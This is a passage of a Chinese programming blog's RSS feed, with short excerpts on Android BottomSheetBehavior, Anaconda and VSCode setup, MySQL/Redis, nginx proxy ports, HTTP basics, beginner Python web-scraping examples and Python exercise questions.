      <guid>https://bchobby.github.io/posts/2e6c9a9b030aae3f0391072759a22508/</guid>
      <description>1. 引言 BottomSheetBehavior能实现怎样的效果，一图胜千言。&#xA;如果仅仅是实现上下拖动和隐藏的功能。抛开BottomSheetBehavior自己实现也不难，在没有CoordinatorLayout的年代，这种效果往往是纯手工打造。既然如此为何Google要专门设计BottomSheetBehavior呢？为了搞清楚这个问题，我查阅源码探究了一番，确实发现了一些隐秘的角落。我将从以下几个方面讲解BottomSheetBehavior的设计思路&#xA;讲解BottomSheetBehavior的几种状态讲解BottomSheetBehavior的事件分发讲解BottomSheetBehavior如何处理嵌套滑动实现高德地图首页效果，欢迎关注字节小站微信公众号号 2. BottomSheetBehavior的几种状态 BottomSheetBehavior一共有6种状态&#xA;STATE_EXPANDED 全部展开状态STATE_COLLAPSED 收起状态STATE_DRAGGING 拖动状态STATE_SETTLINGSTATE_HIDDEN 隐藏状态STATE_HALF_EXPANDED 半展开状态 系统通过哪种方式实现每种状态不同的偏移量呢？&#xA;layout阶段通过ViewCompat.offsetTopAndBottom(child, offset)实现偏移量用户触摸交互阶段通过ViewDragHelper.dragTo(left,top,dx,dy)实现偏移量 2.1 Layout阶段 Layout阶段最后会通过findScrollingChild方法，寻找开启了嵌套滑动的后代View。其实这就是Google单独研发出BottomSheetBehavior的主要考量。满足支持嵌套滑动的BottomSheet效果。&#xA;2.2 用户触摸交互阶段 2.3 状态对应的偏移量 状态偏移量STATE_COLLAPSEDcollapsedOffsetSTATE_EXPANDEDgetExpandedOffset()STATE_HALF_EXPANDEDhalfExpandedOffsetSTATE_HIDDENparentHeight 1. 计算 collapsedOffset 变量名默认值PEEK_HEIGHT_AUTO常量值-1peekHeightMin默认值64dp,用户不可修改peekHeightAuto默认值true，用户可设置peekHeight默认值0，如果设置为PEEK_HEIGHT_AUTO peekHeightAuto为true否则为false，如果设置小于-1则为0fitToContents默认值true，用户可设置fitToContentOffsetMath.max(0, parentHeight - child.getHeight()) peekHeight默认值为0。设置逻辑如下&#xA;height为-1，则peekHeightAuto设置为true。否则peekHeightAuto为false，而且peekHeight最小值为0。&#xA;计算collapsedOffset值有四种情况&#xA;CasepeekHeightAutofitToContentscase1truetruecase2truefalsecase3falsetruecase4falsefalse 返回值&#xA;Case返回值Case1Math.max(parentHeight - Math.max(peekHeightMin, parentHeight - parentWidth * 9 / 16), fitToContentsOffset)Case2parentHeight-Math.max(peekHeightMin, parentHeight - parentWidth * 9 / 16)Case3Math.max(parentHeight - peekHeight, fitToContentsOffset)Case4parentHeight - peekHeight 2. 计算 halfExpandedOffset 3. 计算 expandedOffset 4.如何固定BottomSheetBehavior的高度？ 了解这些值的计算有什么好处。假设我想让BottomSheetBehavior，固定高度，不能向上滑也不能向下滑。那我们则需要将collapsedOffset和expandedOffset设置为一样的值才行。</description>
    </item>
    <item>
      <title>用anaconda在vscode环境下安装python的各种库 | 详细介绍</title>
      <link>https://bchobby.github.io/posts/420fbea86286e67a3d0d07d16bf6cce5/</link>
      <pubDate>Sun, 31 Jan 2021 15:33:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/420fbea86286e67a3d0d07d16bf6cce5/</guid>
      <description>文章目录 前言：安装anacondaAnacond的介绍Anacond下载与安装 测试vscode配置环境结语 前言： 刚开始用vscode学习写python，遇到许多问题。&#xA;这次的代码需要导入numpy，pandas等多种库，在网上浏览众多方法后找到了自认为最简便的方法：用anaconda来导入库。&#xA;同时也方便以后继续导入其他的库。&#xA;已有环境：已装 vs code和运行python所用的插件&#xA;安装anaconda Anacond的介绍 Anaconda指的是一个开源的Python发行版本，其包含了conda、Python等180多个科学包及其依赖项。 因为包含了大量的科学包，Anaconda 的下载文件比较大（400+MB），如果只需要某些包，或者需要节省带宽或存储空间，也可以使用Miniconda这个较小的发行版（仅包含conda和 Python）。&#xA;Conda是一个开源的包、环境管理器，可以用于在同一个机器上安装不同版本的软件包及其依赖，并能够在不同的环境之间切换&#xA;Anaconda包括Conda、Python以及一大堆安装好的工具包，比如：numpy、pandas等&#xA;Miniconda包括Conda、Python&#xA;Anacond下载与安装 官网下载地址：link&#xA;可以参考这篇文章进行下载和安装，有几个注意点：link&#xA;测试 参考文章：link&#xA;1.打开cmd [WIN+R /cmd]&#xA;输入-conda list。&#xA;如下图所示，Anaconda安装成功。&#xA;2.创建环境&#xA;输入-conda create -n test python=3.8.3 pip&#xA;#根据版本号修改Python版本，例如你的python版本是3.7，则改成-conda create -n test python=3.7 pip&#xA;#可以在vs code 页面左下角看到Python版本&#xA;会出现Proceed (y/[n])? ，输入y即可&#xA;其余的步骤在上面链接的文章里讲的很清楚&#xA;vscode配置环境 遇到的问题：当前代码需要导入numpy库&#xA;解决方案：&#xA;1.还是点击 vs code 左下角版本号的地方，会出现下图的选项，选择解释器为test：conda这个版本&#xA;2.此时运行仍然报错，说没有 numpy这个库，我们需要安装这个库&#xA;3.打开cmd，输入-conda install numpy，安装numpy库成功后再次运行，问题解决&#xA;安装库的过程参考文章：link&#xA;结语 1.可以用上述方法安装各种库，简易方便。&#xA;2.通过学习别人的方法然后汇总记录，希望能解他人之便</description>
    </item>
    <item>
      <title>Linux下基于VSCode和CMake的C&#43;&#43;开发和调试</title>
      <link>https://bchobby.github.io/posts/9b1acf36b2ec40dacfb03a9b2a80398b/</link>
      <pubDate>Sun, 31 Jan 2021 10:45:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b1acf36b2ec40dacfb03a9b2a80398b/</guid>
      <description>1. 编译器、调试器安装 1.1 安装GCC， GDB sudo apt update #通过以下命令安装编译器和调试器 sudo apt install build-essential gdb 安装成功确认&#xA;# 以下命令确认每个软件是否安装成功 # 如果成功，则显示版本号 gcc --version g++ --version gdb --version 1.2 CMake安装 # 通过以下命令安装编译器和调试器 sudo apt install cmake 安装成功确认&#xA;# 确认是否安装成功 # 如果成功，则显示版本号 cmake --version 2. GCC编译器 GCC 编译器支持编译 Go、Objective-C，Objective-C ++，Fortran，Ada，D 和 BRIG（HSAIL）&#xA;等程序；Linux 开发C/C++ 一定要熟悉 GCCVSCode是通过调用GCC编译器来实现C/C++的编译工作的； 实际使用中：&#xA;使用 gcc 指令编译 C 代码；使用 g++指令编译 C++ 代码&#xA;2.1 编译过程 1. 预处理-Pre-Processing //.i文件&#xA;# -E 选项指示编译器仅对输入文件进行预处理 g++ -E test.</description>
    </item>
    <item>
      <title>econnrefused MySQL_解决Node.js使用MySQL出现connect ECONNREFUSED 127.0.0.1:3306的问题</title>
      <link>https://bchobby.github.io/posts/af6e6ea006ceb61aba5cefdec59757e4/</link>
      <pubDate>Sun, 31 Jan 2021 06:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af6e6ea006ceb61aba5cefdec59757e4/</guid>
      <description>前言&#xA;最近用 Node 写一个小玩意，需要用到 MySQL 数据库，现在用得最广泛的是 mysql 这个库。然后呢，现在 ORM 这么火，干脆也上 ORM 吧，正好我也不会可以学习一下，于是找到了 Sequelize.js 这个 ORM 库。&#xA;发现问题&#xA;看看 Sequelize 的文档，so easy，两分钟搞定~&#xA;import Sequelize from &#39;sequelize&#39;;&#xA;let sequelize = new Sequelize(&#39;database&#39;, &#39;username&#39;, &#39;password&#39;, {&#xA;host: &#39;localhost&#39;,&#xA;port: 3306,&#xA;dialect: &#39;mysql&#39;,&#xA;pool: {&#xA;max: 5,&#xA;min: 0,&#xA;idle: 10000&#xA;}&#xA;});&#xA;// ...后面还有一堆懒得贴了&#xA;运行一下&#xA;SequelizeConnectionRefusedError: connect ECONNREFUSED 127.0.0.1:3306&#xA;什么鬼，为什么会出现这个错误呢？我明明设置的是 localhost，为什么会变成 127.0.0.1？&#xA;解决问题&#xA;照例先谷歌，确实发现了很多人也遇到了这个问题，解决方法大概有这么几种：&#xA;1、你丫以为不用装 MySQL 就能跑了么？快去装数据库！&#xA;2、你数据库运行了么你？赶紧 /etc/init.d/mysqld start 运行起来&#xA;3、端口写错了</description>
    </item>
    <item>
      <title>Git clone 常见用法</title>
      <link>https://bchobby.github.io/posts/ba142e29d7926e209b1dcd10d2d04dee/</link>
      <pubDate>Sun, 31 Jan 2021 00:51:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba142e29d7926e209b1dcd10d2d04dee/</guid>
      <description>Git clone 常见用法 git clone 可以帮我们拷贝一个 Git 仓库到本地，让自己能够查看该项目，或者进行修改。 1、如果你想拷贝一个git仓库到本地，我们可以先在本地创建一个文件夹&#xA;mkdir demo //基于当前目录创建一个子目录 2、进入demo这个目录&#xA;cd demo 3、 开始拷贝git仓库到本地，默认在当前目录下创建和版本库名相同的文件夹并下载版本到该文件夹下&#xA;git clone &amp;lt;远程仓库的网址&amp;gt; 4、如果你想指定本地仓库的目录，可以使用如下命令：&#xA;git clone &amp;lt;远程仓库的网址&amp;gt; &amp;lt;本地目录&amp;gt; 5、默认是克隆的是master分支，想要克隆指定的分支，需要 -b 指定要克隆的分支&#xA;git clone &amp;lt;远程仓库的网址&amp;gt; -b &amp;lt;分支名称&amp;gt; &amp;lt;本地目录&amp;gt; 示例 可以看到成功拷贝一个 git仓库到本地</description>
    </item>
    <item>
      <title>anconda安装pulp</title>
      <link>https://bchobby.github.io/posts/4a976949b59921d98cf93ca3722a3ccb/</link>
      <pubDate>Sat, 30 Jan 2021 23:35:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a976949b59921d98cf93ca3722a3ccb/</guid>
      <description>打开terminal，输入：&#xA;anaconda search -t conda pulp&#xA;anaconda show conda-forge/pulp&#xA;conda install --channel https://conda.anaconda.org/conda-forge pulp&#xA;遇到“ WARNING conda.gateways.disk.delete:unlink_or_rename_to_trash(139) ”，输入&#xA;conda clean --all</description>
    </item>
    <item>
      <title>3-8-1 实现两个数加减乘除运算</title>
      <link>https://bchobby.github.io/posts/4a8198abc609f6b7747a738d19de8cd9/</link>
      <pubDate>Sat, 30 Jan 2021 17:57:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a8198abc609f6b7747a738d19de8cd9/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;//有两个参数的函数，实现加减乘除运算&#xA;int add(int a,int b)&#xA;{&#xA;int z;&#xA;z = a + b;&#xA;return z;&#xA;}&#xA;int jian(int a,int b)&#xA;{&#xA;int z;&#xA;z = a - b;&#xA;return z;&#xA;}&#xA;int chen(int a,int b)&#xA;{&#xA;int z;&#xA;z = a * b;&#xA;return z;&#xA;}&#xA;float chu(float a,int b)&#xA;{&#xA;float z;&#xA;z = a / b; //不同类型数据运算时，比如两个整数相除，必须将除数或者将被除数强制转换成小数，否则小数后面的小数点后面的数据会被忽略&#xA;printf(&#34;%f\n&#34;,z);&#xA;return z;&#xA;}&#xA;int main()</description>
    </item>
    <item>
      <title>一台电脑能运行两个mysql数据库_一台电脑可以同时装两个带有SQL数据库的软件吗...</title>
      <link>https://bchobby.github.io/posts/482ebfffa066ed4c505ba37ddeb977ce/</link>
      <pubDate>Sat, 30 Jan 2021 15:49:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/482ebfffa066ed4c505ba37ddeb977ce/</guid>
      <description>展开全部&#xA;可以的，但是前提是必须不同版本e69da5e6ba903231313335323631343130323136353331333431356565的软件，如果是相同版本的肯定是不行的&#xA;SQL是英文Structured Query Language的缩写，意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立联系，进行沟通。按照ANSI(美国国家标准协会)的规定，SQL被作为关系型数据库管理系统的标准语言。SQL Server是由Microsoft开发和推广的关系数据库管理系统&#xA;扩展资料：&#xA;特点&#xA;1．真正的客户机/服务器体系结构。&#xA;2．图形化用户界面，使系统管理和数据库管理更加直观、简单。&#xA;3．丰富的编程接口工具，为用户进行程序设计提供了更大的选择余地。&#xA;4．SQL Server与Windows NT完全集成，利用了NT的许多功能，如发送和接受消息，管理登录安全性等。SQL Server也可以很好地与Microsoft BackOffice产品集成。&#xA;5．具有很好的伸缩性，可跨越从运行Windows 95/98的小型电脑到运行Windows 2000的大型多处理器等多种平台使用。&#xA;6．对Web技术的支持，使用户能够很容易地将数据库中的数据发布到Web页面上。&#xA;7．SQL Server提供数据仓库功能，这个功能只在Oracle和其他更昂贵的DBMS中才有。&#xA;SQL Server 2000与以前版本相比较，又具有以下新特性 ：&#xA;1．支持XML(Extensive Markup Language，扩展标记语言)&#xA;2．强大的基于Web的分析&#xA;3．支持OLE DB和多种查询&#xA;4．支持分布式的分区视图</description>
    </item>
    <item>
      <title>sqoop mysql导入hive报错_[Hadoop] Sqoop 从MySQL导入数据到hive表报错“Could not load org.apache.hadoop.hive.conf.Hiv...</title>
      <link>https://bchobby.github.io/posts/4c996dbafa678104696578710e0b40f2/</link>
      <pubDate>Sat, 30 Jan 2021 09:40:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c996dbafa678104696578710e0b40f2/</guid>
      <description>Sqoop从MySQL导入数据到Hive表报错：ERROR hive.HiveConfig: Could not load org.apache.hadoop.hive.conf.HiveConf. Make sure HIVE_CONF_DIR is set correctly.&#xA;[hadoop@hadoop01 ~]$ sqoop create-hive-table --connect jdbc:mysql://localhost:3306/db_1 --username root --password root --table city_info --hive-table city_info --fields-terminated-by &#39;,&#39; --hive-overwrite;&#xA;Warning: /home/hadoop/app/sqoop-1.4.6-cdh5.7.0/../hbase does not exist! HBase imports will fail.&#xA;Please set $HBASE_HOME to the root of your HBase installation.&#xA;Warning: /home/hadoop/app/sqoop-1.4.6-cdh5.7.0/../hcatalog does not exist! HCatalog jobs will fail.&#xA;Please set $HCAT_HOME to the root of your HCatalog installation.&#xA;Warning: /home/hadoop/app/sqoop-1.4.6-cdh5.7.0/../accumulo does not exist!</description>
    </item>
    <item>
      <title>redis和mysql数据一致性怎么保证_redis如何与mysql保持一致性</title>
      <link>https://bchobby.github.io/posts/7a7abd2c97466fa2172ccc26403e0de2/</link>
      <pubDate>Sat, 30 Jan 2021 07:15:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a7abd2c97466fa2172ccc26403e0de2/</guid>
      <description>redis与mysql保持一致性的方法有两种，分别是：1、在写库前后都进行【redis.del(key)】操作，并且设定合理的超时时间；2、通过基于订阅binlog的同步机制实现redis与mysql保持一致性。&#xA;redis与mysql保持一致性的方法有采取延时双删策略，先删除缓存再写数据库；第二种方法是异步更新缓存，先读取读Redis再写mysql再更新Redis数据&#xA;缓存和数据库一致性解决方案如下：&#xA;方法一：采用延时双删策略&#xA;在写库前后都进行redis.del(key)操作，并且设定合理的超时时间。&#xA;伪代码如下public void write(String key,Object data){ redis.delKey(key); db.updateData(data); Thread.sleep(500); redis.delKey(key); }&#xA;具体的步骤就是：&#xA;(1)先删除缓存&#xA;(2)再写数据库&#xA;(3)休眠500毫秒&#xA;(4)再次删除缓存&#xA;那么，这个500毫秒怎么确定的，具体该休眠多久呢？&#xA;需要评估自己的项目的读数据业务逻辑的耗时。这么做的目的，就是确保读请求结束，写请求可以删除读请求造成的缓存脏数据。&#xA;当然这种策略还要考虑redis和数据库主从同步的耗时。最后的的写数据的休眠时间：则在读数据业务逻辑的耗时基础上，加几百ms即可。比如：休眠1秒。&#xA;设置缓存过期时间&#xA;从理论上来说，给缓存设置过期时间，是保证最终一致性的解决方案。所有的写操作以数据库为准，只要到达缓存过期时间，则后面的读请求自然会从数据库中读取新值然后回填缓存。&#xA;该方案的弊端&#xA;结合双删策略+缓存超时设置，这样最差的情况就是在超时时间内数据存在不一致，而且又增加了写请求的耗时。&#xA;方法二：异步更新缓存(基于订阅binlog的同步机制)&#xA;技术整体思路：&#xA;MySQL binlog增量订阅消费+消息队列+增量数据更新到redis&#xA;1)读Redis：热数据基本都在Redis&#xA;2)写MySQL:增删改都是操作MySQL&#xA;3)更新Redis数据：MySQ的数据操作binlog，来更新到Redis&#xA;Redis更新&#xA;(1)数据操作主要分为两大块：&#xA;一个是全量(将全部数据一次写入到redis)一个是增量(实时更新)&#xA;这里说的是增量,指的是mysql的update、insert、delate变更数据。&#xA;(2)读取binlog后分析 ，利用消息队列,推送更新各台的redis缓存数据。&#xA;这样一旦MySQL中产生了新的写入、更新、删除等操作，就可以把binlog相关的消息推送至Redis，Redis再根据binlog中的记录，对Redis进行更新。&#xA;其实这种机制，很类似MySQL的主从备份机制，因为MySQL的主备也是通过binlog来实现的数据一致性。&#xA;这里可以结合使用canal(阿里的一款开源框架)，通过该框架可以对MySQL的binlog进行订阅，而canal正是模仿了mysql的slave数据库的备份请求，使得Redis的数据更新达到了相同的效果。&#xA;当然，这里的消息推送工具你也可以采用别的第三方：kafka、rabbitMQ等来实现推送更新Redis</description>
    </item>
    <item>
      <title>正则匹配第一个符合的_这份正则表达式速查表，实力与颜值并存！</title>
      <link>https://bchobby.github.io/posts/be2e1cc0a4366710c44a70b15ff73982/</link>
      <pubDate>Sat, 30 Jan 2021 03:26:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be2e1cc0a4366710c44a70b15ff73982/</guid>
      <description>作者| GitPython&#xA;来源| GitPython&#xA;字符串是编程时涉及到的最多的一种数据结构，对字符串进行操作的需求无处不在。 正则表达式是一种匹配字符串的强有力的武器。 它的设计思想是用一种描述性的语言来给字符串定义一个规则。凡是符合规则的字符串，我们就认为它匹配了；否则该字符串就是不合法的。 re 模块，使 Python 语言拥有全部的正则表达式功能。 本文主要包括以下内容： 1.一图总结正则表达式的核心知识点 2.正则表达式的案例实战 3.文章汇总 1.一图学会正则表达式 1)基础字符 2)匹配单个字符 3)匹配多个字符 4)具体的实例 5)贪婪匹配和非贪婪匹配 6)re模块的几个函数 长按图片，快捷保存 2.正则表达式的案例实战 1)re模块的基本使用 import reret = re.match(&#39;复仇者联盟\d&#39;,&#39;复仇者联盟5&#39;)ret.group()#输出结果：&#39;复仇者联盟5&#39; 2)贪婪匹配和非贪婪匹配 # 非贪婪匹配 (匹配最短的 以a开头以b结尾 的字符串)ret_ft = re.match(&#39;a.*?b&#39;, &#39;aabab&#39;) # 贪婪匹配ret_t = re.match(&#39;a.*b&#39;, &#39;aabab&#39;) print(ret_ft.group(), ret_t.group())# aab aabab 3)案例1：判断变量名是否合法 变量名的命名规范： - 变量名只有由数字、字母、下划线组成。 - 变量名开头不能是数字。 # 案例1# 判断变量名是否合法names = [&#39;age_1&#39;, &#39;1age_&#39;, &#39;age-1&#39;, &#39;/age&#39;, &#39;get_ipython&#39;]for name in names: ret3 = re.match(&#39;^[a-zA-Z_][a-zA-Z0-9_]*$&#39;, name) if ret3: print(&#39;{}:符合规范,匹配结果:{}&#39;.</description>
    </item>
    <item>
      <title>HTTP超全详解</title>
      <link>https://bchobby.github.io/posts/c4f5a42cefbb58aa7952d500a5a426a7/</link>
      <pubDate>Fri, 29 Jan 2021 14:44:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4f5a42cefbb58aa7952d500a5a426a7/</guid>
      <description>HTTP协议简介 超文本传输协议（英文：HyperText Transfer Protocol，缩写：HTTP）是一种用于分布式、协作式和超媒体信息系统的应用层协议。&#xA;HTTP是一个基于TCP/IP通信协议来传递数据（HTML 文件, 图片文件, 查询结果等）。&#xA;HTTP协议永远都是客户端发起请求，服务器回送响应。见下图：&#xA;HTTP工作流程 一次HTTP操作称为一个事务，其工作过程可分为四步：&#xA;客户机与服务器建立TCP连接。只要单击某个超级链接/输入网址/提交表单等。建立连接后，客户机发送http请求给服务器.服务器接到请求后，响应信息。客户端接收服务器所返回的信息，然后客户机与服务器断开TCP连接。 HTTP发展及各版本 版本产生时间内容发展现状HTTP/1.11997年持久连接(长连接)、节约带宽、HOST域、管道机制、分块传输编码2015年前使用最广泛HTTP/22015年多路复用、服务器推送、头信息压缩、二进制协议等逐渐覆盖市场 HTTP1.1 版本 HTTP 1.1 新增了delete options 等几种请求数据的方式，客户端和服务端三次握手后，建立tcp链接，一个tcp链接可以传送多个请求和响应，这样就减少了握手和建立tcp和关闭tcp链接的消耗，传输更快&#xA;HTTP 1.1 支持持久链接 请求头有一个connection 参数，参数值是close/keep-alive 意思是本次请求处理完后，服务器是关闭该tcp链接还是继续使用该链接&#xA;HTTP 2.0 版本 HTTP2.0使用了多路复用的技术，做到同一个链接并发处理多个请求，而且并发请求的数量比HTTP1.1大了好几个数量级。&#xA;HTTP主要特点 简单快速&#xA;客户向服务器请求服务时，只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。每种方法规定了客户与服务器联系的类型不同。由于HTTP协议简单，使得HTTP服务器的程序规模小，因而通信速度很快。灵活&#xA;HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。无连接&#xA;无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请求，并收到客户的应答后，即断开连接。采用这种方式可以节省传输时间。 1. 无连接？有连接？&#xA;HTTP不是字面意义上的没有连接，事实上，这个定义也符合HTTP短连接的定义，但无连接强调的是HTTP的特性，短连接可理解为一种实现。&#xA;无连接的含义也可以结合HTTP无状态的含义在应用层面上去理解：每一个请求都拥有自己的请求体，期望接收到唯一的对应的响应体，而每一次的请求都相互独立，与上一次或下一次的请求毫无关系，哪怕是在同一条连接中（后面说的长连接）。&#xA;&amp;gt; 2. 什么是长连接、短连接？&#xA;在HTTP/1.0中默认使用短连接。也就是说，客户端和服务器每进行一次HTTP操作，就建立一次连接，任务结束就中断连接。当客户端浏览器访问的某个HTML或其他类型的Web页中包含有其他的Web资源（如JavaScript文件、图像文件、CSS文件等），每遇到这样一个Web资源，浏览器就会重新建立一个HTTP会话。&#xA;而从HTTP/1.1起，默认使用长连接，用以保持连接特性。使用长连接的HTTP协议，会在响应头加入这行代码：&#xA;Connection:keep-alive&#xA;在使用长连接的情况下，当一个网页打开完成后，客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭，客户端再次访问这个服务器时，会继续使用这一条已经建立的连接。Keep-Alive不会永久保持连接，它有一个保持时间，可以在不同的服务器软件（如Apache）中设定这个时间。实现长连接需要客户端和服务端都支持长连接。&#xA;HTTP协议的长连接和短连接，实质上是TCP协议的长连接和短连接。&#xA;无状态&#xA;无状态是指协议对于事务处理没有记忆能力。也就是说，打开一个服务器上的网页和上一次打开这个服务器上的网页之间没有任何联系。HTTP是一个无状态的面向连接的协议，无状态不代表HTTP不能保持TCP连接，更不能代表HTTP使用的是UDP协议（无连接）。&#xA;支持B/S及C/S模式&#xA;TCP三次握手 HTTP属于应用层协议，传输层使用TCP协议。HTTP协议是建立在TCP协议之上的一种应用。&#xA;为什么要三次握手?&#xA;为了防止已失效的连接请求报文段突然又传送到了服务端，因而产生错误。&#xA;比如：client发出的第一个连接请求报文段并没有丢失，而是在某个网络结点长时间的滞留了，以致延误到连接释放以后的某个时间才到达server。本来这是一个早已失效的报文段，但是server收到此失效的连接请求报文段后，就误认为是client再次发出的一个新的连接请求，于是就向client发出确认报文段，同意建立连接。假设不采用“三次握手”，那么只要server发出确认，新的连接就建立了，由于client并没有发出建立连接的请求，因此不会理睬server的确认，也不会向server发送数据，但server却以为新的运输连接已经建立，并一直等待client发来数据。所以没有采用“三次握手”，这种情况下server的很多资源就白白浪费掉了。&#xA;【1】seq：序号，占4个字节,由于TCP是面向字节流的，在一个1个TCP连接中传送字节流中国的每一个字节都按照顺序编号，此外序号是循环使用的&#xA;【2】ACK：仅当ACK=1时确认字段才有效，当ACK=0时确认字段无效，并且TCP规定，在连接建立后所有的传送报文段都必须要把ACK置为1&#xA;【3】SYN：同步序列号，用来发起一个连接。当SYN=1而ACK=0时表明这是一个请求报文段；若对方同意连接，则响应报文中SYN=1，ACK=1&#xA;第一次握手:&#xA;服务器端处于LISTEN(收听)状态，等待客户端连接请求。&#xA;客户端发送连接请求报文段，将SYN=1，初始序号seq=x。(SYN报文段不能携带数据，但消耗一个序号)&#xA;客户端进入SYN_SENT(同步已发送)状态，等待服务器的确认；第二次握手:&#xA;服务器收到客户端请求的SYN报文段。需要对这个SYN报文段进行确认，确认号ack=x+1(seq+1)；&#xA;服务器发送SYN请求信息，将SYN=1，ACK=1，并为自己选择一个初始序号seq=y；&#xA;服务器端发送确认报文段(SYN+ACK报文段)给客户端（报文段不能携带数据，但消耗一个序号）&#xA;服务器进入SYN_RECV（同步收到）状态；第三次握手:&#xA;客户端收到服务器的SYN+ACK报文段。将确认号ack设置为y+1，序列号为seq=x+1。&#xA;客户端向服务器发送ACK报文段(ACK报文段可以携带数据，如果不携带数据则不消耗序号)。</description>
    </item>
    <item>
      <title>nginx监听非80端口，转发地址端口丢失！解决方案！！！！！</title>
      <link>https://bchobby.github.io/posts/1462c7284227ccdd04edd58ae586faf2/</link>
      <pubDate>Fri, 29 Jan 2021 11:14:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1462c7284227ccdd04edd58ae586faf2/</guid>
      <description> nginx监听非80端口，转发地址端口丢失！解决方案！！！！！&#xA;问题场景：&#xA;登录成功后，跳转主页，端口丢失，无法访问。nginx监听端口：81，tomcat访问端口：9004。例如：登录地址：http://xxx:81/login，登录成功后跳转地址：http://xxx:81/index，但实际跳转地址变为：http://xxx/index，nginx代理端口(81)无故消失，导致无法访问。&#xA;nginx配置如下：&#xA;location /xxx/{&#xA;proxy_pass http://127.0.0.1:9004/xxx/;&#xA;proxy_set_header X-Real-IP $remote_addr;&#xA;proxy_set_header X-Forwarded-Proto https;&#xA;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;proxy_set_header Host $ host:$server_port;&#xA;proxy_redirect http:// https://;&#xA;}网上提供的方案：&#xA;1) proxy_set_header Host $ host:$server_port;&#xA;改为&#xA;proxy_set_header Host $host:81;（写死监听端口，经测试无效）最终解决方案：&#xA;增加配置：proxy_set_header X-Forwarded-Port $server_port;&#xA;最终配置如下：&#xA;location /xxx/{&#xA;proxy_pass http://127.0.0.1:9004/xxx/;&#xA;proxy_set_header X-Real-IP $remote_addr;&#xA;proxy_set_header X-Forwarded-Proto https;&#xA;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;proxy_set_header Host $ host:$server_port；&#xA;proxy_set_header X-Forwarded-Port $server_port;（这个配置是重点）&#xA;proxy_redirect http:// https://;&#xA;}&#xA;重启nginx，成功进入主页；&#xA;参考连接：[https://www.95id.com/oauth2-client-nginx-bugs.html]总结：&#xA;目前只解决问题，具体原因未知，欢迎大佬指正！ </description>
    </item>
    <item>
      <title>python入门爬虫案例_10个python爬虫入门实例(小结)</title>
      <link>https://bchobby.github.io/posts/e87efb8870b6d57a65c40ab74f608174/</link>
      <pubDate>Fri, 29 Jan 2021 09:48:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e87efb8870b6d57a65c40ab74f608174/</guid>
      <description>昨天带伙伴萌学习python爬虫，准备了几个简单的入门实例&#xA;涉及主要知识点:&#xA;web是如何交互的&#xA;requests库的get、post函数的应用&#xA;response对象的相关函数，属性&#xA;python文件的打开，保存&#xA;代码中给出了注释，并且可以直接运行哦&#xA;如何安装requests库(安装好python的朋友可以直接参考，没有的，建议先装一哈python环境)&#xA;windows用户，Linux用户几乎一样:&#xA;打开cmd输入以下命令即可，如果python的环境在C盘的目录，会提示权限不够，只需以管理员方式运行cmd窗口&#xA;pip install -i https://pypi.tuna.tsinghua.edu.cn/simple requests&#xA;Linux用户类似(ubantu为例): 权限不够的话在命令前加入sudo即可&#xA;sudo pip install -i https://pypi.tuna.tsinghua.edu.cn/simple requests&#xA;1.爬取强大的BD页面，打印页面信息&#xA;# 第一个爬虫示例,爬取百度页面&#xA;import requests #导入爬虫的库，不然调用不了爬虫的函数&#xA;response = requests.get(&#34;http://www.baidu.com&#34;) #生成一个response对象&#xA;response.encoding = response.apparent_encoding #设置编码格式&#xA;print(&#34;状态码:&#34;+ str( response.status_code ) ) #打印状态码&#xA;print(response.text)#输出爬取的信息&#xA;2.常用方法之get方法实例，下面还有传参实例&#xA;# 第二个get方法实例&#xA;import requests #先导入爬虫的库，不然调用不了爬虫的函数&#xA;response = requests.get(&#34;http://httpbin.org/get&#34;) #get方法&#xA;print( response.status_code ) #状态码&#xA;print( response.text )&#xA;3. 常用方法之post方法实例，下面还有传参实例&#xA;# 第三个 post方法实例&#xA;import requests #先导入爬虫的库，不然调用不了爬虫的函数</description>
    </item>
    <item>
      <title>python3.0关键字详解_Python 使用 _________________ 关键字来定义类。 (3.0分)_学小易找答案...</title>
      <link>https://bchobby.github.io/posts/6cd50075c23ec00cb054c2239d3dded6/</link>
      <pubDate>Fri, 29 Jan 2021 00:46:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6cd50075c23ec00cb054c2239d3dded6/</guid>
      <description>【填空题】在 Python 中定义类时,与运算符“ // ”对应的特殊方法名为 _______________ 。 (3.0分)&#xA;【计算题】编写函数,判断一个数字是否为素数,是则返回字符串 YES ,否则返回字符串 NO 。&#xA;【计算题】阅读下面的代码,分析其执行结果。 def demo(a, b, c=3, d=100): return sum((a,b,c,d)) print(demo(1, 2, 3, 4)) print(demo(1, 2, d=3)) (4.0分)&#xA;【计算题】计算小于 100 的最大素数。(此题的各种变型) (4.0分)&#xA;【计算题】编写程序,在 D 盘根目录下创建一个文本文件 test.txt ,并向其中写入字符串 hello world 。 (10.0分)&#xA;【计算题】编写函数 demo(t) ,接收一个整数 t 为参数,打印杨辉三角前 t 行。 (4.0分)&#xA;【计算题】编写程序,计算组合数 C(n,i) ,即从 n 个元素中任选 i 个,有多少种选法。 (4.0分)&#xA;【计算题】编写函数 demo(lst) ,接收一个包含若干整数的列表参数 lst ,返回一个元组,其中第一个元素为列表 lst 中的最小值,其余元素为最小值在列表 lst 中的下标。 